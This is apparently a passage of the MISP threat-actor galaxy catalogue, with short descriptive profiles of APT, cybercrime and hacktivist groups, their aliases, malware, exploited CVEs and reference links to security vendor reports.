Ferocious Kitten is an APT group that has been active against Persian-speaking individuals since 2015 and appears to be based in Iran. Although it has been active over a large timespan, the group has mostly operated under the radar until a lure document was uploaded to VirusTotal and was brought to public knowledge by researchers on Twitter. Subsequently, one of its implants was analyzed by a Chinese intelligence firm. Kaspersky then expanded some of the findings on the group and provided insights on additional variants. The malware dropped from the aforementioned document is dubbed MarkiRAT and is used to record keystrokes and clipboard content, provide file download and upload capabilities as well as the ability to execute arbitrary commands on the victims machine. Kaspersky were able to trace the implant back to at least 2015, along with variants intended to hijack the execution of the Telegram and Chrome applications as a persistence method. Interestingly, some of the TTPs used by this threat actor are reminiscent of other groups operating in the domain of dissident surveillance. For example, it used the same C2 domains across its implants for years, which was witnessed in the activity of Domestic Kitten. In the same vein, the Telegram execution hijacking technique observed in this campaign by Ferocious Kitten was also observed being used by Rampant Kitten, as covered by Check Point.

The tag is: *misp-galaxy:threat-actor="Ferocious Kitten"*

Table 18716. Table References

Links
https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/

Operation Red Signature

The threat actors compromised the update server of a remote support solutions provider to deliver a remote access tool called 9002 RAT to their targets of interest through the update process. They carried this out by first stealing the company's certificate then using it to sign the malware. They also configured the update server to only deliver malicious files if the client is located in the range of IP addresses of their target organisations.

The tag is: *misp-galaxy:threat-actor="Operation Red Signature"*

Table 18717. Table References

Links
https://decoded.avast.io/threatintel/avast-finds-backdoor-on-us-government-commission-network/?utm_source=rss&utm_medium=rss&utm_campaign=avast-finds-backdoor-on-us-government-commission-network
https://www.trendmicro.com/en_my/research/18/h/supply-chain-attack-operation-red-signature-targets-south-korean-organizations.html

Earth Yako

Earth Yako is a threat actor that has been actively targeting researchers in academic organizations and think tanks in Japan. They use spearphishing emails with malicious attachments to gain initial access to their targets' systems. Earth Yako's objectives and patterns suggest a possible connection to a Chinese APT group, but conclusive proof of their nationality is lacking. They have been observed using various malware delivery methods and techniques, such as the use of Winword.exe for DLL Hijacking.

The tag is: *misp-galaxy:threat-actor="Earth Yako"*

Earth Yako is also known as:

- Operation RestyLink
- Enelink

Table 18718. Table References

Links
https://www.trendmicro.com/en_us/research/23/b/invitation-to-secret-event-uncovering-earth-yako-campaigns.html

Urpage

What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages. However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats. Trend Micro covered the Delphi component in the

context of the Confucius and Patchwork connection. They mentioned Urpage as a third unnamed threat actor connected to the two.

The tag is: *misp-galaxy:threat-actor="Urpage"*

Table 18719. Table References

Links
https://www.trendmicro.com/en_us/research/18/h/the-urpage-connection-to-bahamut-confucius-and-patchwork.html

Operation Emmental

Operation Emmental, also known as the Retefe gang, is a threat actor group that has been active since at least 2012. They primarily target customers of banks in countries such as Austria, Sweden, Switzerland, and Japan. The group has developed sophisticated malware, including a Mac alternative called Dok, to bypass two-factor authentication and hijack network traffic. They have also been observed using phishing emails to spread their malware. The group is believed to be Russian-speaking and has continuously improved their malicious codes over the years.

The tag is: *misp-galaxy:threat-actor="Operation Emmental"*

Operation Emmental is also known as:

- Retefe Gang
- Retefe Group

Table 18720. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/osx_dok-mac-malware-emmental-hijacks-user-network-traffic/

TA2725

TA2725 is a threat actor that has been tracked since March 2022. They primarily target organizations in Brazil and Mexico using Brazilian banking malware and phishing techniques. Recently, they have expanded their operations to also target victims in Spain and Mexico simultaneously. TA2725 typically uses GoDaddy virtual hosting for their URL redirector and hosts malicious files on legitimate cloud hosting providers like Amazon AWS, Google Cloud, or Microsoft Azure. They have been known to spoof legitimate companies, such as ÉSECÈ Group, to deceive their victims.

The tag is: *misp-galaxy:threat-actor="TA2725"*

Table 18721. Table References

Links

https://www.proofpoint.com/us/blog/threat-insight/copacabana-barcelona-cross-continental-threat-brazilian-banking-malware

Blackatom

Recent campaigns suggest Hamas-linked actors may be advancing their TTPs to include intricate social engineering lures specially crafted to appeal to a niche group of high value targets. In September 2023, a Palestine-based group likely linked to Hamas targeted Israeli software engineers using an elaborate social engineering ruse that ultimately installed malware and stole cookies. The attackers, which Google's Threat Analysis Group (TAG) tracks as BLACKATOM, posed as employees of legitimate companies and reached out via LinkedIn to invite targets to apply for software development freelance opportunities. Targets included software engineers in the Israeli military, as well as Israel's aerospace and defense industry

The tag is: *misp-galaxy:threat-actor="Blackatom"*

Table 18722. Table References

Links
https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf

BANISHED KITTEN

BANISHED KITTEN is an Iranian state-nexus adversary active since at least 2008. While the adversary's most prominent activity is the July and September 2022 disruptive attacks targeting Albanian government infrastructure and the use of the HomelandJustice persona to leak stolen data, BANISHED KITTEN has likely targeted dissidents using the AllinOneNeo malware family.

The tag is: *misp-galaxy:threat-actor="BANISHED KITTEN"*

BANISHED KITTEN is also known as:

- DUNE
- Storm-0842
- Red Sandstorm

Table 18723. Table References

Links
https://www.crowdstrike.com/adversaries/banished-kitten/
https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf

ProCC

ProCC is a threat actor targeting the hospitality sector with remote access Trojan malware. They use email attachments to exploit vulnerabilities like CVE-2017-0199 and deploy customized versions of RATs such as RevengeRAT, NjRAT, NanoCoreRAT, and 888 RAT. ProCC's malware is capable of

collecting data from the clipboard and printer spooler, as well as capturing screenshots on infected machines.

The tag is: *misp-galaxy:threat-actor="ProCC"*

Table 18724. Table References

Links
https://securelist.com/revengehotels/95229/

ResumeLooters

Since the beginning of 2023, ResumeLooters have been able to compromise at least 65 websites. The group employs a variety of simple techniques, including SQL injection and XSS. The threat actor attempted to insert XSS scripts into all available forms, aiming to execute it on the administrators' device to obtain admin credentials. While the group was able to execute the XSS script on some visitors' devices with administrative access, allowing ResumeLooters to steal the HTML code of the pages the victims were visiting, Group-IB did not find any confirmation of admin credential thefts.

The tag is: *misp-galaxy:threat-actor="ResumeLooters"*

Table 18725. Table References

Links
https://www.group-ib.com/blog/resumelooters/

ShadowSyndicate

ShadowSyndicate is a threat actor associated with various ransomware groups, using a consistent Secure Shell fingerprint across multiple servers. They have been linked to ransomware families such as Quantum, Nokoyawa, and ALPHV. ShadowSyndicate's infrastructure overlaps with that of Cl0p, suggesting potential connections between the two groups. Their activities indicate they may be a Ransomware-as-a-Service affiliate.

The tag is: *misp-galaxy:threat-actor="ShadowSyndicate"*

Table 18726. Table References

Links
https://www.group-ib.com/blog/shadowsyndicate-raas/

LabHost

LabHost is a threat actor group targeting Canadian Banks with Phishing-as-a-Service attacks. They have been observed using tools like LabRat and LabSend for real-time campaign management and SMS lures. LabHost's phishing campaigns have similarities to Frappo campaigns, but they operate separately and offer different subscription packages.

The tag is: *misp-galaxy:threat-actor="LabHost"*

Table 18727. Table References

Links
https://www.phishlabs.com/blog/phishing-service-profile-labhost-threat-actor-group

Cyber.Anarchy.Squad

Cyber Anarchy Squad is a pro-Ukrainian hacktivist group known for targeting Russian companies and infrastructure. They have carried out cyberattacks on Russian telecom providers, financial institutions, and government agencies, causing disruptions to services and leaking stolen data. The group has used techniques such as wiping network equipment, defacing websites, and leaking sensitive documents to support their cause. Cyber Anarchy Squad has been active for at least four years, evolving from cyber-bullying to more sophisticated hacking activities.

The tag is: *misp-galaxy:threat-actor="Cyber.Anarchy.Squad"*

Cyber.Anarchy.Squad is also known as:

- Cyber Anarchy Squad

Table 18728. Table References

Links
https://srslyriskybiz.substack.com/p/russias-extradition-wars-are-not
https://therecord.media/proukraine-hackers-claim-to-take-down-russian-isp

GoldFactory

GoldFactory is a threat actor group attributed to developing sophisticated mobile banking malware targeting victims primarily in the Asia-Pacific region, specifically Vietnam and Thailand. They utilize social engineering to deliver malware to victims' devices and have close connections to the Gigabud malware family. GoldFactory’s Trojans, such as GoldPickaxe and GoldDigger, employ tactics like smishing, phishing, and fake login screens to compromise victims' phones and steal sensitive information. Their evolving malware suite demonstrates a high level of operational maturity and ingenuity, requiring a proactive and multi-faceted cybersecurity approach to detect and mitigate their threats.

The tag is: *misp-galaxy:threat-actor="GoldFactory"*

Table 18729. Table References

Links
https://www.group-ib.com/blog/goldfactory-ios-trojan/

SPIKEDWINE

SPIKEDWINE is a threat actor targeting European officials with a new backdoor called WINELOADER. They use a bait PDF document posing as an invitation letter from the Ambassador of India to lure diplomats. The attack is characterized by advanced tactics, techniques, and procedures in the malware and command and control infrastructure. The motivation behind the attacks seems to be exploiting the geopolitical relations between India and European nations.

The tag is: *misp-galaxy:threat-actor="SPIKEDWINE"*

Table 18730. Table References

Links
https://www.zscaler.com/blogs/security-research/european-diplomats-targeted-spikedwine-wineloader

UAC-0184

UAC-0184 is a threat actor targeting Ukrainian organizations in Finland, using the Remcos Remote Access Trojan in their attacks. They have been observed utilizing steganographic image files and the IDAT Loader to deliver the malware. The group has targeted the Armed Forces of Ukraine and impersonated military recruitment processes to infect systems with the Remcos RAT.

The tag is: *misp-galaxy:threat-actor="UAC-0184"*

Table 18731. Table References

Links
https://blog.morphisec.com/unveiling-uac-0184-the-remcos-rat-steganography-saga
https://cert.gov.ua/article/6276988

UNC1549

UNC1549 is an Iranian threat actor linked to Tortoiseshell and potentially the IRGC. They have been active since at least June 2022, targeting entities worldwide with a focus on the Middle East. UNC1549 uses spear-phishing and credential harvesting for initial access, deploying custom malware like MINIBIKE and MINIBUS backdoors. They have also been observed using evasion techniques and a tunneler named LIGHTRAIL in their operations.

The tag is: *misp-galaxy:threat-actor="UNC1549"*

UNC1549 is also known as:

- Nimbus Manticore

Table 18732. Table References

Links

https://www.mandiant.com/resources/blog/suspected-iranian-unc1549-targets-israel-middle-east
https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe
https://blog.checkpoint.com/research/iranian-threat-actor-nimbus-manticore-expands-campaigns-into-europe-with-advanced-malware-and-fake-job-lures/

Mogilevich

Mogilevich is a ransomware group known for claiming to breach organizations like Epic Games and Ireland's Department of Foreign Affairs, offering stolen data for sale without providing proof of the attacks. They operate as an extortion group, targeting high-profile victims and demanding payment for the data they claim to have stolen. Despite their claims, security researchers have noted that Mogilevich's tactics and website design suggest they may not be a sophisticated threat actor.

The tag is: *misp-galaxy:threat-actor="Mogilevich"*

Table 18733. Table References

Links
https://therecord.media/ireland-dfa-no-evidence-of-cybersecurity-breach
https://www.bleepingcomputer.com/news/security/epic-games-zero-evidence-we-were-hacked-by-mogilevich-gang/

R00tK1T

R00TK1T is a hacking group known for sophisticated cyber attacks targeting governmental agencies in Malaysia, including data exfiltration from the National Population and Family Development Board. The group has publicized their successful attacks on social media, showcasing stolen data. R00TK1T has also targeted Malaysian telecom providers, defacing portals and potentially breaching user data.

The tag is: *misp-galaxy:threat-actor="R00tK1T"*

Table 18734. Table References

Links
https://logrhythm.com/blog/how-government-agencies-can-defend-against-exfiltration-tactics/
https://cyble.com/blog/cyble-chronicles-february-1-latest-findings-recommendations-for-the-cybersecurity-community/

UNC5325

UNC5325 is a suspected Chinese cyber espionage operator that exploited CVE-2024-21893 to compromise Ivanti Connect Secure appliances. UNC5325 leveraged code from open-source projects, installed custom malware, and modified the appliance's settings in order to evade detection and attempt to maintain persistence. UNC5325 has been observed deploying LITTLELAMB.WOOLTEA,

PITSTOP, PITDOG, PITJET, and PITHOOK. Mandiant identified TTPs and malware code overlaps in LITTLELAMB.WOOLTEA and PITHOOK with malware leveraged by UNC3886. Mandiant assesses with moderate confidence that UNC5325 is associated with UNC3886.

The tag is: *misp-galaxy:threat-actor="UNC5325"*

Table 18735. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence

Earth Kapre

Earth Kapre is an APT group specializing in cyberespionage. They target organizations in various countries through phishing campaigns using malicious attachments to infect machines. Earth Kapre employs techniques like abusing PowerShell, curl, and Program Compatibility Assistant to execute malicious commands and evade detection within targeted networks. The group has been active since at least 2018 and has been linked to multiple incidents involving data theft and espionage.

The tag is: *misp-galaxy:threat-actor="Earth Kapre"*

Earth Kapre is also known as:

- RedCurl
- Red Wolf
- GOLD BLADE

Table 18736. Table References

Links
https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html
https://news.sophos.com/en-us/2025/12/05/sharpening-the-knife-gold-blades-strategic-evolution/

Earth Krahang

Earth Krahang is an APT group targeting government organizations worldwide. They use spear-phishing emails, weak internet-facing servers, and custom backdoors like Cobalt Strike, RESHELL, and XDealer to conduct cyber espionage. The group creates VPN servers on infected systems, employs brute force attacks on email accounts, and exploits compromised government infrastructure to attack other governments. Earth Krahang has been linked to another China-linked actor, Earth Lusca, and is believed to be part of a specialized task force for cyber espionage against government institutions.

The tag is: *misp-galaxy:threat-actor="Earth Krahang"*

Table 18737. Table References

Links
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-china-linked-earth-krahang-apt-breached-70-organizations-in-23-nations-active-iocs
https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html

Mirage Tiger

The tag is: *misp-galaxy:threat-actor="Mirage Tiger"*

Table 18738. Table References

Links
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

SilitNetwork

SilitNetwork is a hacking group known for targeting high-profile entities, such as airlines, for various motives. They utilize sophisticated tactics to breach their targets, potentially including social engineering and exploiting software vulnerabilities. The group's attack on RwandAir highlighted the vulnerability of the aviation industry and the need for robust cybersecurity measures.

The tag is: *misp-galaxy:threat-actor="SilitNetwork"*

Table 18739. Table References

Links
https://www.resecurity.com/blog/article/the-aviation-and-aerospace-sectors-face-skyrocketing-cyber-threats

Edalat-e Ali

Edalat-e Ali is a hacktivist group known for disrupting Iranian state-run TV and radio transmissions during significant events, such as the Revolution Day ceremonies. They have also targeted government facilities, releasing security camera footage to expose abuses and draw attention to human rights violations. The group has used their hacks to call for protests against the Iranian regime and have displayed anti-government messages during their disruptions. Edalat-e Ali has been active in releasing sensitive information and footage to embarrass Iranian officials and highlight injustices within the country.

The tag is: *misp-galaxy:threat-actor="Edalat-e Ali"*

Table 18740. Table References

Links

https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/
https://securityaffairs.com/142172/hacktivism/iranian-state-tv-hacked.html
https://www.chronline.com/stories/a-hacking-slugfest-between-iran-and-its-foes-sparks-fears-of-a-wider-cyberwar,281423

Saad Tycoon

Saad Tycoon is the operator and alleged developer of the Tycoon 2FA PhaaS, a phishing service that targets users for financial gain. The actor utilizes Bitcoin transactions to generate significant profits from the fraudulent service. The phishing infrastructure includes domain registration, server hosting, and possibly Cloudflare protection.

The tag is: *misp-galaxy:threat-actor="Saad Tycoon"*

Table 18741. Table References

Links
https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/

UNC5174

UNC5174, a Chinese state-sponsored threat actor, has been identified by Mandiant for exploiting critical vulnerabilities in F5 BIG-IP and ScreenConnect. They have been linked to targeting research and education institutions, businesses, charities, NGOs, and government organizations in Southeast Asia, the U.S., and the UK. UNC5174 is believed to have connections to China's Ministry of State Security and has been observed using custom tooling and the SUPERSHELL framework in their operations. The actor has shown indications of transitioning from hacktivist collectives to working as a contractor for Chinese intelligence agencies.

The tag is: *misp-galaxy:threat-actor="UNC5174"*

UNC5174 is also known as:

- Uteus

Table 18742. Table References

Links
https://rhisac.org/threat-intelligence/f5-big-ip-and-screenconnect-cves/
https://www.mandiant.com/resources/blog/initial-access-brokers-exploit-f5-screenconnect

CyberNiggers

CyberNiggers is a threat group known for breaching various organizations, including the US military, federal contractors, and multinational corporations like General Electric. Led by the prominent member IntelBroker, they specialize in selling access to compromised systems and stealing sensitive data, such as military files and personally identifiable information. The group has

targeted a diverse portfolio of organizations, showcasing their strategic approach to gathering varied sets of information. Their activities raise concerns about national security, individual privacy, and the need for robust cybersecurity measures to mitigate the impact of cyber adversaries.

The tag is: *misp-galaxy:threat-actor="CyberNiggers"*

Table 18743. Table References

Links
https://socradar.io/acuity-federal-breach-okta-leak-dcrat-exploit/
https://socradar.io/u-s-faces-cyber-onslaught-fico-breach-id-cc-military-data-sale/
https://socradar.io/dark-web-profile-cyberniggers/

Bignosa

Bignosa is a threat actor known for launching malware campaigns targeting Australian and US organizations using phishing emails with disguised Agent Tesla attachments protected by Cassandra Protector. They compromised servers by installing Plesk and RoundCube, connected via SSH and RDP, and used advanced obfuscation methods to evade detection. Bignosa collaborated with another cybercriminal named Gods, who provided advice and assistance in their malicious activities. The actor has been linked to multiple phishing attacks and malware distribution campaigns, showcasing a high level of sophistication in their operations.

The tag is: *misp-galaxy:threat-actor="Bignosa"*

Table 18744. Table References

Links
https://research.checkpoint.com/2024/agent-tesla-targeting-united-states-and-australia/

Smishing Triad

The Smishing Triad is a Chinese-speaking threat group known for targeting postal services and their customers globally through smishing campaigns. They leverage compromised Apple iMessage accounts to send fraudulent messages warning of undeliverable packages, aiming to collect personally identifying information and payment credentials. The group offers smishing kits for sale on platforms like Telegram, enabling other cybercriminals to launch independent attacks. "Smishing Triad" has expanded its operations to target UAE citizens, using geo-filtering to focus on victims in the Emirates.

The tag is: *misp-galaxy:threat-actor="Smishing Triad"*

Table 18745. Table References

Links
https://www.resecurity.com/blog/article/Smishing-Triad-Impersonates-Emirates-Post-Target-UAE-Citizens

BlackJack

Blackjack, a threat actor linked to Ukraine's security apparatus, has targeted critical Russian entities such as ISPs, utilities, and military infrastructure. They have claimed responsibility for launching cyberattacks resulting in substantial damage and data exfiltration. The group allegedly used the Fuxnet malware to target sensor gateways connected to internet-connected sensors, impacting infrastructure monitoring systems. Blackjack has also been involved in attacks against companies like Moscollector, causing disruptions and stealing sensitive data.

The tag is: *misp-galaxy:threat-actor="BlackJack"*

Table 18746. Table References

Links
https://www.enigmasoftware.com/fuxneticsmalware-removal/
https://www.securityweek.com/destructive-ics-malware-fuxnet-used-by-ukraine-against-russian-infrastructure/
https://claroty.com/team82/research/unpacking-the-blackjack-groups-fuxnet-malware
https://www.rewterz.com/rewterz-news/rewterz-threat-update-pro-ukraine-hacktivists-breach-russian-isp-as-revenge-for-kyivstar-attack/

CoralRaider

CoralRaider is a financially motivated threat actor of Vietnamese origin, targeting victims in Asian and Southeast Asian countries since at least 2023. They use the RotBot loader family and XClient stealer to steal victim information, with hardcoded Vietnamese words in their payloads. CoralRaider operates from Hanoi, Vietnam, and uses a Telegram bot as a C2 channel for their malicious campaigns. Their activities include system reconnaissance, data exfiltration, and targeting victims in multiple countries in the region.

The tag is: *misp-galaxy:threat-actor="CoralRaider"*

Table 18747. Table References

Links
https://blog.talosintelligence.com/coralraider-targets-socialmedia-accounts/

RUBYCARP

RUBYCARP is a financially-motivated threat actor group likely based in Romania, with a history of at least 10 years of activity. They operate a botnet using public exploits and brute force attacks, communicating via public and private IRC networks. RUBYCARP targets vulnerabilities in frameworks like Laravel and WordPress, as well as conducting phishing operations to steal financial assets. They use a variety of tools, including the Perl Shellbot, for post-exploitation activities and have a diverse set of illicit income streams.

The tag is: *misp-galaxy:threat-actor="RUBYCARP"*

Table 18748. Table References

Links
https://sysdig.com/blog/rubycarp-romanian-botnet-group/

Starry Addax

Starry Addax is a threat actor targeting human rights activists associated with the Sahrawi Arab Democratic Republic using a novel mobile malware called FlexStarling. They conduct phishing attacks to trick targets into installing malicious Android applications and serve credential-harvesting pages to Windows-based targets. Their infrastructure targets both Windows and Android users, with the campaign starting with spear-phishing emails containing requests to install specific mobile apps or related themes. The campaign is in its early stages, with potential for additional malware variants and infrastructure development.

The tag is: *misp-galaxy:threat-actor="Starry Addax"*

Table 18749. Table References

Links
https://blog.talosintelligence.com/starry-addax/

Cyber Army of Russia Reborn

The tag is: *misp-galaxy:threat-actor="Cyber Army of Russia Reborn"*

View relationships graph

Cyber Army of Russia Reborn has relationships with:

- similar: misp-galaxy:threat-actor="People’s Cyber Army of Russia" with estimative-language:likelihood-probability="likely"

Table 18750. Table References

Links

People’s Cyber Army of Russia

The tag is: *misp-galaxy:threat-actor="People’s Cyber Army of Russia"*

View relationships graph

People’s Cyber Army of Russia has relationships with:

- similar: misp-galaxy:threat-actor="Cyber Army of Russia Reborn" with estimative-language:likelihood-probability="likely"

Table 18751. Table References

Links

RGB-TEAM

RGB-TEAM is a previously unknown Russian-speaking threat actor. They describe themselves as “a community of anonymous hacktivists fighting for freedom.” The group stated that it doesn’t have enemies in the U.S., Europe, “in the East, or in the West.”

The tag is: *misp-galaxy:threat-actor="RGB-TEAM"*

Table 18752. Table References

Links
https://therecord.media/hackers-claim-to-breach-russia-prosecutor-general-database

UNC5266

Mandiant created UNC5266 to track post-disclosure exploitation leading to deployment of Bishop Fox’s SLIVER implant framework, a WARPWIRE variant, and a new malware family that Mandiant has named TERRIBLETEA. At this time, based on observed infrastructure usage similarities, Mandiant suspects with moderate confidence that UNC5266 overlaps in part with UNC3569, a China-nexus espionage actor that has been observed exploiting vulnerabilities in Aspera Faspex, Microsoft Exchange, and Oracle Web Applications Desktop Integrator, among others, to gain initial access to target environments.

The tag is: *misp-galaxy:threat-actor="UNC5266"*

View relationships graph

UNC5266 has relationships with:

- deploys: misp-galaxy:tool="SLIVER" with estimative-language:likelihood-probability="likely"
- deploys: misp-galaxy:backdoor="TERRIBLETEA" with estimative-language:likelihood-probability="likely"

Table 18753. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

UNC5330

UNC5330 is a suspected China-nexus espionage actor. UNC5330 has been observed chaining CVE-2024-21893 and CVE-2024-21887 to compromise Ivanti Connect Secure VPN appliances as early as Feb. 2024. Post-compromise activity by UNC5330 includes deployment of PHANTOMNET and TONERJAM. UNC5330 has employed Windows Management Instrumentation (WMI) to perform reconnaissance, move laterally, manipulate registry entries, and establish persistence. Mandiant observed UNC5330 operating a server since Dec. 6, 2021, which the group used as a GOST proxy to

help facilitate malicious tool deployment to endpoints. The default certificate for GOST proxy was observed from Sept. 1, 2022 through Jan. 1, 2024. UNC5330 also attempted to download Fast Reverse Proxy (FRP) from this server on Feb. 3, 2024, from a compromised Ivanti Connect Secure device. Given the SSH key reuse in conjunction with the temporal proximity of these events, Mandiant assesses with moderate confidence UNC5330 has been operating through this server since at least 2021.

The tag is: *misp-galaxy:threat-actor="UNC5330"*

View relationships graph

UNC5330 has relationships with:

- deploys: misp-galaxy:backdoor="PHANTOMNET" with estimative-language:likelihood-probability="likely"
- deploys: misp-galaxy:tool="TONERJAM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="GOST" with estimative-language:likelihood-probability="likely"

Table 18754. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

UNC5337

UNC5337 is a suspected China-nexus espionage actor that compromised Ivanti Connect Secure VPN appliances as early as Jan. 2024. UNC5337 is suspected to exploit CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection) for infecting Ivanti Connect Secure appliances. UNC5337 leveraged multiple custom malware families including the SPAWNSNAIL passive backdoor, SPAWNMOLE tunneler, SPAWNANT installer, and SPAWNSLOTH log tampering utility. Mandiant suspects with medium confidence that UNC5337 is UNC5221.

The tag is: *misp-galaxy:threat-actor="UNC5337"*

View relationships graph

UNC5337 has relationships with:

- similar: misp-galaxy:threat-actor="UTA0178" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:backdoor="SPAWNSNAIL" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="SPAWNMOLE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="SPAWNANT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="SPAWNSLOTH" with estimative-language:likelihood-probability="likely"

Table 18755. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

UNC5291

UNC5291 is a cluster of targeted probing activity that we assess with moderate confidence is associated with UNC3236, also known publicly as Volt Typhoon. Activity for this cluster started in December 2023 focusing on Citrix Netscaler ADC and then shifted to focus on Ivanti Connect Secure devices after details were made public in mid-Jan. 2024. Probing has been observed against the academic, energy, defense, and health sectors, which aligns with past Volt Typhoon interest in critical infrastructure. In Feb. 2024, the Cybersecurity and Infrastructure Security Agency (CISA) released an advisory warning that Volt Typhoon was targeting critical infrastructure and was potentially interested in Ivanti Connect Secure devices for initial access.

The tag is: *misp-galaxy:threat-actor="UNC5291"*

Table 18756. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

UNC3569

China-nexus espionage actor that has been observed exploiting vulnerabilities in Aspera Faspex, Microsoft Exchange, and Oracle Web Applications Desktop Integrator, among others, to gain initial access to target environments.

The tag is: *misp-galaxy:threat-actor="UNC3569"*

Table 18757. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

Earth Freybug

Earth Freybug, identified as a subset of APT41, is a cyberthreat group active since at least 2012, engaging in espionage and financially motivated activities across various sectors worldwide. The tactics, techniques, and procedures (TTPs) used in this campaign are similar to the ones from a campaign (Operation CuckooBees) described in an article published by Cybereason. They employ a diverse toolkit, including LOLBins and custom malware, to execute sophisticated cyberespionage attacks. The group's recent tactics involve DLL hijacking and API unhooking through a newly discovered malware named UNAPIMON, which prevents child processes from being monitored. This technique was observed in a vmtoolsd.exe process creating remote tasks to deploy malicious batch files for reconnaissance and backdoor access. UNAPIMON's simplicity and use of Microsoft Detours for defense evasion highlight the group's evolving methods and the need for vigilant security measures, such as restricting admin privileges and adhering to the principle of least

privilege. Earth Freybug's persistence and creativity in refining their techniques underscore the ongoing threat they pose and the importance of proactive cybersecurity practices.

The tag is: *misp-galaxy:threat-actor="Earth Freybug"*

Table 18758. Table References

Links
https://www.trendmicro.com/en_us/research/24/d/earth-freybug.html

GhostR

Ghostr is a financially motivated threat actor known for stealing a confidential database containing 5.3 million records from the World-Check and leaking about 186GB of data from a stock trading platform. They have been active on Breachforums.is, revealing massive data breaches involving comprehensive details of Thai users, including full names, phone numbers, email addresses, and ID card numbers.

The tag is: *misp-galaxy:threat-actor="GhostR"*

Table 18759. Table References

Links
https://securityaffairs.com/162136/cyber-crime/hackers-threaten-leak-world-check.html
https://www.resecurity.com/blog/article/cybercriminals-leaked-massive-volumes-of-stolen-pii-data-from-thailand-in-dark-web

UTA0218

UTA0218 is a threat actor with advanced capabilities, targeting organizations to establish a reverse shell, acquire tools, and extract data. They exploit vulnerabilities in firewall devices to move laterally within victim networks, focusing on obtaining domain backup keys and active directory credentials. The actor deploys a custom Python backdoor named UPSTYLE to execute commands and download additional tools. UTA0218 is likely state-backed, utilizing a mix of infrastructure including VPNs and compromised routers to store malicious files.

The tag is: *misp-galaxy:threat-actor="UTA0218"*

Table 18760. Table References

Links
https://www.enigmasoftware.com/cve20243400vulnerability-removal/
https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

UAC-0149

UAC-0149 is a threat actor targeting the Armed Forces of Ukraine with COOKBOX malware. They use obfuscation techniques like character encoding and base64 encoding to evade detection. The group leverages dynamic DNS services and Cloudflare Workers for their C2 infrastructure.

The tag is: *misp-galaxy:threat-actor="UAC-0149"*

Table 18761. Table References

Links
https://socprime.com/blog/uac-0149-attack-detection-hackers-launch-a-targeted-attack-against-the-armed-forces-of-ukraine-as-cert-ua-reports/
https://cert.gov.ua/article/6277849

ArcaneDoor

ArcaneDoor is a campaign that is the latest example of state-sponsored actors targeting perimeter network devices from multiple vendors. Coveted by these actors, perimeter network devices are the perfect intrusion point for espionage-focused campaigns. As a critical path for data into and out of the network, these devices need to be routinely and promptly patched; using up-to-date hardware and software versions and configurations; and be closely monitored from a security perspective. Gaining a foothold on these devices allows an actor to directly pivot into an organization, reroute or modify traffic and monitor network communications. In the past two years, we have seen a dramatic and sustained increase in the targeting of these devices in areas such as telecommunications providers and energy sector organizations — critical infrastructure entities that are likely strategic targets of interest for many foreign governments.

The tag is: *misp-galaxy:threat-actor="ArcaneDoor"*

Table 18762. Table References

Links
https://blog.talosintelligence.com/arcanedoor-new-espionage-focused-campaign-found-targeting-perimeter-network-devices/

Storm-1849

UAT4356 is a state-sponsored threat actor that targeted government networks globally through a campaign named ArcaneDoor. They exploited two zero-day vulnerabilities in Cisco Adaptive Security Appliances to deploy custom malware implants called "Line Runner" and "Line Dancer." The actor demonstrated a deep understanding of Cisco systems, utilized anti-forensic measures, and took deliberate steps to evade detection. UAT4356's sophisticated attack chain allowed them to conduct malicious actions such as configuration modification, reconnaissance, network traffic capture/exfiltration, and potentially lateral movement on compromised devices.

The tag is: *misp-galaxy:threat-actor="Storm-1849"*

Storm-1849 is also known as:

- UAT4356

Table 18763. Table References

Links
https://blog.talosintelligence.com/arcanedoor-new-espionage-focused-campaign-found-targeting-perimeter-network-devices/

USDoD

USDoD is a threat actor known for leaking large databases of personal information, including from companies like Airbus and the U.S. Environmental Protection Agency. They have a history of engaging in high-profile data breaches, such as exposing data from the FBI's InfraGard program. USDoD has also been involved in web scraping to obtain information from websites like LinkedIn.

The tag is: *misp-galaxy:threat-actor="USDoD"*

Table 18764. Table References

Links
https://www.hackread.com/us-environmental-protection-agency-hacked-data-leaked/
https://www.cysecurity.news/2023/09/transunion-refutes-data-breach-reports.html
https://socradar.io/unmasking-usdod-the-enigma-of-the-cyber-realm/
https://krebsonsecurity.com/2023/09/fbi-hacker-dropped-stolen-airbus-data-on-9-11/

Water Orthrus

